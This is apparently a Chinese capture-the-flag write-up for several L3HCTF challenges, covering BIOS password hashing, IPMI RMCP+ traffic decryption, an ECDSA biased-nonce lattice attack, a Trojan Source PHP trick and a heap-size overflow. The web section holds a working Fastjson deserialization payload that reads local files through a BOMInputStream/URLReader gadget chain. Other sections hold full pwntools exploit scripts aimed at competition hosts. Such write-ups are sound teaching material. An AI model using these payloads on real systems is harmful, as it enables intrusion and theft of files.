Misc BootFlag 题目给出操作视频和boot固件文件(看完视频猜的主板上的bios固件),看视频可以知道两个密码都是四位的,且题目给出了两个密码的字符范围。
那很明显了,先谷歌一下,随便翻翻,找到一个 UEFI boot 固件的解析工具:https://github.com/LongSoft/UEFITool 和 十年前泄露的 BIOS boot 固件源码 还有一个老版本boot密码破解记录:https://gist.github.com/en4rab/550880c099b5194fbbf3039e3c8ab6fd
审源码和文章都表示boot密码仅仅进行了一个简单的异或加密,而且BIOS
的的密码加密后存储在AMITSESetup
块下。AMITSESetup
在BIOS
块下的AMINvramMainRomAreaGuid
下的NVRAM
中,记得找后面标注为data
的,这个不用解释了吧嘿嘿 右键相关条目有查看详细数据和提取功能,数据在body
里
试了下工具,各种参数信息解析的都很完整,只有小部分块数据显示错误。去看了下存密码的位置发现是两串完美的目测sha256
的 32bytes 哈希值,参照源码的异或加密解不出来,而且直接爆了下sha256
也不对。无奈又去搜索BIOS
、boot
、password
、hash
等关键字找到了:https://github.com/ArcadeHustle/X3_USB_softmod/issues/4
去issue利用到的源码仓库里看相关代码:https://github.com/raywugithub/zprj/blob/b7c51c9cf4864df6aabb99a1ae843becd577237c/EDK/MiniSetup/PasswordEncode/PasswordEncode.c#L161
发现这个版本有sha1和sha256两种hash算法模式以及老版的异或模式,别的没啥太大的差异。
这里看了下表十一点半快十二点了出门同学请客吃烧烤,三点回来后疯狂谷歌一下午外加源码审计。
其实这里直接脚本爆密码就行了。不过需要注意到MaxSize
参数和Password
变量的类型处理(相当于UTF-16-LE
编码),MaxSize
的值为 40bytes
,当时脑子抽了审完源码没找到它在哪里被赋值就一直按个人代码习惯当作密码的长度理解了,然后从中午开始困顿,源码就这么点啊,逻辑就这么简单啊,就一个签到难度的代码,咋就爆不出来flag??? 从十一点多困顿到晚上八点突然大悟,谁说MaxSize
是密码长度了?那是用到的存储密文的最大空间大小!,浪费整个下午,哭唧唧。
a-sol 这道题就很有意思了,一开始看见sol,最近刚好在学区块链入门,以为和区块链有关。
然后发现题目是个流量包,打开看看每条流量中携带的数据都不长,搜了手IPMB
协议,发现是叫智能平台管理总线 ,中间搜sol
和协议的时候不知道咋搜到一个关键字带sol
的工业机器人,应该是工业机器人吧,又转去看了下机器人。
过了会在各种搜资料的边角落里看见了外国不知名小哥的组织利用主板上的该硬件接口实施攻击 的消息。于是大雾,嗷,逮住你了就是这个!
这里本来想偷懒的,看到消息历史都几年前了,想着网上应该能找到现成的工具啥的,顶多魔改下源码就出了。结果搜了半天,别说工具源码,连工具都没搜到,微软倒是拿着工具录了几个演示其危害性的视频。。。无奈大雾
含泪谷歌两三个小时被我找到了别的大佬写的RMCP+
流量的解密过程记录文档!https://github.com/beingj/hash/blob/master/RMCP%2B%20Packet%20decrypt%20and%20authcode.org 爷甚至都去这个协议的官方网站翻去了,硬是没翻出来协议的具体实现规范要求文档,泪了呜呜
剩下的就很简单了,文档里写的很详细了,而且这大佬贴出来了它RMCP+
协议的规范文档中的一个表名:IPMI SPEC Table
,结合他就能搜到RMCP+
的详细文档了:https://www.intel.com/content/dam/www/public/us/en/documents/product-briefs/ipmi-second-gen-interface-spec-v2-rev1-1.pdf
接下来进入照葫芦画瓢解密时间,三级头的爷爷还是很仁慈的,用的默认模式,看了下跟文章里的实例流量用的同样的设置,减少了很多对照pdf查表的时间。
临时写的IPMI.py:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 import hmac''' iv = bytes.fromhex('829c999137e535bf944ad9f7fddd3a16') # IPMI Message data [:16] c = bytes.fromhex('fab1bd3339463a9aadb3ad28b4c961bf') # IPMI Message data [16:] authcode = bytes.fromhex('059b9351f7372d273c792285') # IPMI Message[-16:] # 完整性算法是HMAC-SHA1-96,机密性算法是AES-CBC-128 # 完整性算法 HMAC-SHA1-96 将用于计算 authcode # 机密性算法 AES-CBC-128 将用于解密 IPMI 负载 c # AES-key <- K2[:16] <- SIK # SIK = HMAC KG (Rm | Rc | RoleM | ULengthM | <UNameM>) Rm = 'a542743a4f194630ca69a7d114adcfec' # RAKP Message 1 data [9:24] Rc = 'eb30891303f4b3a6c0cb999e373ab240' # RAKP Message 2 data [9:24] Rolem = '14' # RAKP Message 1 data [25] ULengthm = '05' # RAKP Message 1 data [28] UNamem = '61646d696e' # RAKP Message 1 data [29:44] #KG K[UID] (user password) is “admin” in this session. admin => ASCII: 61 64 6D 69 6E => pad to 16 bytes KG='61 64 6D 69 6E 00 00 00 00 00 00 00 00 00 00 00'.replace(' ','') SIK = hmac.new(bytes.fromhex(KG),bytes.fromhex( Rm + Rc + Rolem + ULengthm + UNamem ),'sha1') print(SIK.hexdigest()) # K2 = HMAC SIK (const 2) ; Const_2 = '0202020202020202020202020202020202020202' # K2 是 HMAC 的结果,数据为“const 2”,密钥为 SIK。 K2 = hmac.new(bytes.fromhex(SIK.hexdigest()),bytes.fromhex(Const_2),'sha1') print(K2.hexdigest()) key = bytes.fromhex(K2.hexdigest())[:16] #IV = bytes.fromhex('4173cc04c9077684a3b3ac57f3a8d71d') #key = bytes.fromhex('d64d9aa86d6202232ef8cbf006319b6b') #c = bytes.fromhex('a3168b366f3d28b496d339cc2f724436') aes = AES.new(key,AES.MODE_CBC,iv) print(aes.decrypt(c)) ''' class IPMI_1 (): def __init__ (self ) -> None : self.Const_2 = bytes .fromhex('0202020202020202020202020202020202020202' ) def setRm (self,data ): self.Rm = data[8 :24 ] def setRc (self,data ): self.Rc = data[8 :24 ] def setRolem (self,data ): self.Rolem = data[24 :25 ] def setULengthm (self,data ): self.ULengthm = data[27 :28 ] def setUNamem (self,data ): self.UNamem = data[28 :33 ] self.KG = self.UNamem + b'\x00' * 11 def getKey (self ): self.SIK = hmac.new(self.KG,self.Rm + self.Rc + self.Rolem + self.ULengthm + self.UNamem,'sha1' ).hexdigest() self.K2 = hmac.new(bytes .fromhex(self.SIK),self.Const_2,'sha1' ).hexdigest() key = bytes .fromhex(self.K2)[:16 ] return key
和流量解密脚本,flag.py:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 import pysharkfrom IPMI import IPMI_1from Crypto.Cipher import AEScap = pyshark.FileCapture('3.pcapng' ) ipmi = IPMI_1() global keyfor i in cap: ipmi_session = i.ipmi_session if 'payloadtype' in dir (ipmi_session): if '0x00000012' == ipmi_session.payloadtype: data = bytes .fromhex(i.data.data) ipmi.setRm(data) ipmi.setULengthm(data) ipmi.setRolem(data) ipmi.setUNamem(data) elif '0x00000013' == ipmi_session.payloadtype: data = bytes .fromhex(i.data.data) ipmi.setRc(data) key = ipmi.getKey() elif '0x00000001' == ipmi_session.payloadtype: data = bytes .fromhex(i.data.data) iv = data[:16 ] c = data[16 :] aes = AES.new(key,AES.MODE_CBC,iv) m = aes.decrypt(c) length = m[-1 ] m = m[:-1 -length] try : print (m[4 :].decode()) except : print (m[4 :]) ''' for i in m: if i > 32 and i < 128: print(chr(i),end='')'''
web cover 高冷的cop师傅前半夜看见了一个完美rce的条件调了整个前半夜,然后放弃了那个最后发现其实没办法用的rce2333
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 import stringimport requests s = requests.session() flags="76,51,72,67,84,70,123,99,111,118,51,114,95,109,101,97,110,115,95,100,105,115,99,111,118,101,114,95,52,110,100,95,107,49,108,108" flag="L3HCTF{cov3r_means_discover_4nd_k1ll" proxies = { "http" :"http://127.0.0.1:8080" } url = "http://124.71.173.23:8088" s.post(url+"/login" ,data={"userName" :"admin" ,"password" :"123456" ,"email" :"" }) str1=string.ascii_letters+string.digits+string.punctuation for i in range (1 ,30 ): for j in str1: data=""" [{ "age":{ "abc": { "@type": "java.lang.AutoCloseable", "@type": "org.apache.commons.io.input.BOMInputStream", "delegate": { "@type": "org.apache.commons.io.input.ReaderInputStream", "reader": { "@type": "jdk.nashorn.api.scripting.URLReader", "url": "file:///flag" }, "charsetName": "UTF-8", "bufferSize": 1024 }, "boms": [ { "charsetName": "UTF-8", "bytes": [ """ +flags+"," +str (ord (j))+""" ] } ] }, "address": { "$ref": "$[0].abc.BOM" } } }]""" r = s.post(url+"/dynamic_table" ,data={"data" :data}) if "bOMCharsetName" in r.text: flags+="," +str (ord (j)) flag+=j print (flags) print (flag) break
image server1 大小写绕过搜到flag
Easy php 1 2 3 4 5 6 7 8 <?php error_reporting (0 );if ("admin" == $_GET [username] &+!!& "CTFl3hctf" == $_GET [L3Hpassword]) { include "flag.php" ; echo $flag ; } show_source (__FILE__ );?>
可以发现其中有控制字符
将对应的字符编码并完整提交:
1 http://124.71.176.131:10001/?username=admin&%E2%80%AE%E2%81%A6L3H%E2%81%A9%E2%81%A6password=%E2%80%AE%E2%81%A6CTF%E2%81%A9%E2%81%A6l3hctf
获得flag。flag{Y0U_F0UND_CVE-2021-42574!}
Crypto EZecdsa 正常的一个ecdsa签名,也没有存在随机数k复用的情况,但是每次的随机数k会给低8位,所以很容易能找到相关的paper,但是paper写的有点晦涩难懂,总之是个HNP问题,然后找到一个有具体实现的回答:https://crypto.stackexchange.com/questions/44644/how-does-the-biased-k-attack-on-ecdsa-work
利用这个格子做,我是让ST=SU=1这样当格约出来的短向量最后一个为1时,倒数第二个就是私钥d,但是呢有点毛病,这样的话有些不足,也就是说存在一定概率才能出,在本地能通之后,直接远程炼丹了。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 from gmpy2 import *from hashlib import *import stringdef pow_of_work (end,sha ): s=string.ascii_letters+string.digits for a in s: for b in s: for c in s: for d in s: ss=a+b+c+d+end if sha256(ss.encode()).hexdigest()==sha: return a+b+c+d q=0xfffffffffffffffffffffffffffffffebaaedce6af48a03bbfd25e8cd0364141 from pwn import *f=False while True : p=remote('121.36.197.254' ,9999 ) context.log_level='debug' p.recvuntil('XXXX+' ) end=p.recv(16 ).decode() p.recvuntil(' == ' ) sha=p.recvuntil('\n' )[:-1 ].decode() p.recvuntil('Give me XXXX:' ) xxxx=pow_of_work(end,sha) p.sendline(xxxx) public=eval (p.recvuntil('\n' )[:-1 ]) R,S,K,H=[[] for _ in range (4 )] for i in range (100 ): p.recvuntil('Give me your message:\n' ) p.sendline(str (i)) p.recvuntil('r = ' ) rr=int (p.recvuntil('\n' )[:-1 ]) R.append(rr) p.recvuntil('s = ' ) ss=int (p.recvuntil('\n' )[:-1 ]) S.append(ss) p.recvuntil('kp = ' ) kk=int (p.recvuntil('\n' )[:-1 ]) K.append(kk) p.recvuntil('hash = ' ) hh=int (p.recvuntil('\n' )[:-1 ]) H.append(hh) H=[(H[i]-S[i]*K[i])%q for i in range (len (K))] T=[int (r*invert(pow (2 ,8 )*s,q)%q) for (r,s) in zip (R,S)] U=[int (-h*invert(pow (2 ,8 )*s,q)%q) for (h,s) in zip (H,S)] t=100 M=[[0 for i in range (t+2 )] for j in range (t)] for i in range (t): for j in range (t): if i==j: M[i][j]=int (q) k=2 ^256 T+=[1 ,0 ] U+=[0 ,1 ] M.append(T) M.append(U) M=matrix(M) L=M.LLL() for i in L: if abs (i[-1 ])==1 : print (i) x=abs (i[-2 ]) print ('*' *100 ) f=True break if f: p.recvuntil('Give me dA\n' ) p.sendline(str (x)) print (public) p.recvall() break
PWN spn 非预期了,申请空间size没有限制,申请时size大于0x1000,两次拷贝的时候会超出 TEMPBUF2 0x1000的范围,而TEMPBUF2下面就是shell,backdoor只要满足shell不为0即可getshell,而拷贝时会对size大小的范围加密,甚至不需要发送数据,就能修改shell的值。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 from pwn import *arch = "amd64" filename = "SPN_ENC" ip = "124.71.194.126" port =9999 local_libc = ELF("/home/qingmu-z/Desktop/tools/pwn-change-libc/libs/2.27-3ubuntu1.4_amd64/libc-2.27.so" ) remote_libc = ELF("/home/qingmu-z/Desktop/tools/pwn-change-libc/libs/2.27-3ubuntu1.4_amd64/libc-2.27.so" ) context(os="linux" , arch=arch, log_level="debug" ) content = 1 offset = 0 elf = ELF(filename) def b (addr ): bk = "b *$rebase" + str (addr) gdb.attach(io, bk) success("attach" ) def add (idx,size ): io.recvuntil(b"0.exit" ) io.sendline(b'1' ) io.recvuntil(b"Size:" ) io.sendline(str (size).encode()) io.recvuntil(b"Index:" ) io.sendline(str (idx).encode()) def edit (idx,size,payload ): io.recvuntil(b"0.exit" ) io.sendline(b'2' ) io.recvuntil(b"Index:" ) io.sendline(str (idx).encode()) io.recvuntil(b"Size" ) io.sendline(str (size).encode()) io.recvuntil(b"Content" ) sleep(0.1 ) io.send(payload) sleep(0.1 ) def free (idx ): io.recvuntil(b"0.exit" ) io.sendline(b'3' ) io.recvuntil(b"Index:" ) io.sendline(str (idx).encode()) def show (idx ): io.recvuntil(b"0.exit" ) io.sendline(b'4' ) io.recvuntil(b"Index:" ) io.sendline(str (idx).encode()) def backdoor (): io.recvuntil(b"0.exit" ) io.sendline(b'5' ) def pwn (): io.recvuntil(b"gift:" ) shell_addr=int (io.recv(14 ),16 ) success("shell_addr:" +hex (shell_addr)) add(0 ,0x1010 ) add(1 ,0x80 ) sleep(1 ) edit(0 ,0x1010 ,b'a' *(1 )) sleep(1 ) backdoor() return 1 if __name__ == '__main__' : global io flag = 1 while flag >= 1 : try : if content == 0 : io = process("./" + filename) libc = local_libc onegadget = [0xe6c7e , 0xe6c81 , 0xe6c84 ] else : io = remote(ip, port) libc = remote_libc onegadget = [0xe6c7e , 0xe6c81 , 0xe6c84 ] if (pwn() == 0 ): flag -= 1 continue else : io.interactive() flag = 0 except Exception as e: print (e) io.close() flag -= 1 continue